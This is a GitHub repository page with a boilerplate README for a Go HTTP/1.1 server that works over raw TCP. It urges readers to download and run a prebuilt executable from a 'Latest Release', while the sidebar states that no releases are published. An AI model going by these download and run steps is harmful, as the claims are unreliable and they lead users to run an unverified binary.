Skip to content

🌐 Build a lightweight HTTP/1.1 server in Go that directly processes TCP connections, supports custom routes, and handles video streaming.

License

Notifications You must be signed in to change notification settings

Chubatra/http-from-tcp

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ http-from-tcp - A Simple Way to Serve HTTP Requests

🌐 Overview

http-from-tcp is a lightweight HTTP/1.1 server built from scratch using Go. It allows you to easily parse and serve HTTP requests directly over TCP, without relying on the standard net/http library. This application is perfect for users who want to understand basic networking principles or need a simple server without complex setup.

πŸ“₯ Download the Application

Download Latest Release

πŸš€ Getting Started

To get started with http-from-tcp, follow these simple steps:

  1. Click the link above or visit the Releases page to find the latest version.
  2. Look for the appropriate file for your operating system. We provide different versions to ensure compatibility.
  3. Once you find your file, simply click to download it.
  4. Once the download is complete, locate the downloaded file in your computer's downloads folder.

πŸ’» System Requirements

To run http-from-tcp, you need a computer with the following:

  • an operating system: Windows, macOS, or Linux
  • a minimum of 512 MB of RAM
  • a stable internet connection for downloading the application

πŸ”§ Download & Install

  1. Open the Releases page again to find the latest version.
  2. Download the file corresponding to your operating system.
  3. If you are on Windows, you can run the .exe file directly. For macOS or Linux, open a terminal and navigate to the folder where you saved the file.
  4. Use the command chmod +x <filename> to make it executable if you are on macOS or Linux.
  5. Start the server by typing ./<filename> in the terminal and hit enter.

πŸ” Using http-from-tcp

After starting the server, http-from-tcp will listen on a default TCP port. You can access it from your web browser or a tool like curl. By default, it serves a simple "Hello World" message.

To check that it works:

  1. Open a web browser.
  2. Type http://localhost:8080 in the address bar.
  3. You should see the "Hello World" message.

🌟 Key Features

  • Lightweight: Designed to be simple and efficient
  • Easy to use: Quick setup with minimal configuration
  • Full HTTP/1.1 support: Handles standard HTTP requests and responses
  • Direct over TCP: Bypasses complex libraries for a clearer understanding of networking

πŸ”„ Troubleshooting

If you encounter issues, consider the following steps:

  • Ensure you have downloaded the correct file for your operating system.
  • Check that no other applications are using the default port (8080) that http-from-tcp uses. If necessary, you can specify a different port when starting the server.
  • If you still cannot access the server, verify your firewall or security settings to ensure they allow connections to the necessary port.

πŸ“„ Documentation

For more advanced usage and additional features, you can refer to the documentation in the repository. The documentation includes:

  • Command-line options
  • Configuration settings
  • Examples of requests and responses

🀝 Community Support

We encourage you to participate in our community. If you have questions or need support, visit the issues section on our GitHub repository. You can also submit your own issues or feature requests.

πŸ”— Additional Resources

πŸŽ‰ Go Beyond

Now that you have installed and run http-from-tcp, explore its features and consider adapting it for your own projects. Enjoy your journey into the world of networking with HTTP and TCP!

About

🌐 Build a lightweight HTTP/1.1 server in Go that directly processes TCP connections, supports custom routes, and handles video streaming.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages